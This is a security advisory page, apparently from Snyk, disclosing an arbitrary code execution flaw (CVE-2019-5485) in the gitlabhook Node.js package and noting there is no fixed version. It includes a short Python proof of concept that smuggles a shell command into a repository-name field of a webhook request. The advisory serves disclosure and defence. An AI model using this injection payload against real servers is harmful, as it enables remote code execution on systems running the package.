Arbitrary Code Execution Affecting gitlabhook package, versions *


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Mature
EPSS
9.42% (95th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Code Execution vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-GITLABHOOK-466987
  • published15 Sept 2019
  • disclosed13 Sept 2019
  • creditgarumpage

Introduced: 13 Sep 2019

CVE-2019-5485  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

There is no fixed version for gitlabhook.

Overview

gitlabhook is an easy to use nodeJS based web hook for GitLab.

Affected versions of this package are vulnerable to Arbitrary Code Execution. Function ExecFile executes commands without any sanitization. User input gets passed directly to this command.

PoC by garumpage

#!/usr/bin/python

import requests

target = "http://192.168.126.128:3420"
cmd = r"touch /tmp/poc.txt"
json = '{"repository":{"name": "Diasporrra\'; %s;\'"}}'% cmd
r = requests.post(target, json)

print "Done."

CVSS Scores

version 3.1